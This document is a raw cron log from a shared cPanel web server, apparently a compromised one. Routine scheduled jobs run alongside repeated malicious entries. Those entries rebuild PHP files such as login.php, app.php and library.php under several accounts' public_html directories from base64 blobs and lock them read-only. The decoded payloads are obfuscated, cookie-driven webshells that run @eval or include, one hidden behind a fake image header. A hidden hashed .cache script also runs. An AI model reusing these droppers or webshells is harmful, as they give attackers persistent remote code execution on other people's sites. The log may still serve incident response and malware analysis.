bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:30:02 medusa CROND[24415]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 08:30:02 medusa CROND[24407]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 08:30:02 medusa CROND[24413]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:30:02 medusa CROND[24402]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Mar  1 08:30:02 medusa CROND[24434]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:30:02 medusa CROND[24435]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 08:30:02 medusa CROND[24441]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 08:30:02 medusa CROND[24440]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 08:30:02 medusa CROND[24448]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:30:02 medusa CROND[24451]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:30:02 medusa CROND[24442]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 08:30:02 medusa CROND[24431]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 08:30:02 medusa CROND[24456]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:30:02 medusa CROND[24453]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 08:30:02 medusa CROND[24467]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:30:02 medusa CROND[24450]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Mar  1 08:30:02 medusa CROND[24449]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 08:31:02 medusa CROND[14710]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 08:31:02 medusa CROND[14725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:31:02 medusa CROND[14771]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:31:02 medusa CROND[14772]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:31:02 medusa CROND[14773]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:31:02 medusa CROND[14774]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:31:02 medusa CROND[14777]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:31:02 medusa CROND[14781]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:31:02 medusa CROND[14783]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:31:02 medusa CROND[14784]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:31:02 medusa CROND[14785]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 08:31:02 medusa CROND[14787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:31:02 medusa CROND[14788]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:32:02 medusa CROND[5049]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:32:02 medusa CROND[5050]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:32:02 medusa CROND[5051]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:32:02 medusa CROND[5052]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:32:02 medusa CROND[5053]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 08:32:02 medusa CROND[5054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:32:02 medusa CROND[5057]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:32:02 medusa CROND[5063]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:32:02 medusa CROND[5064]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
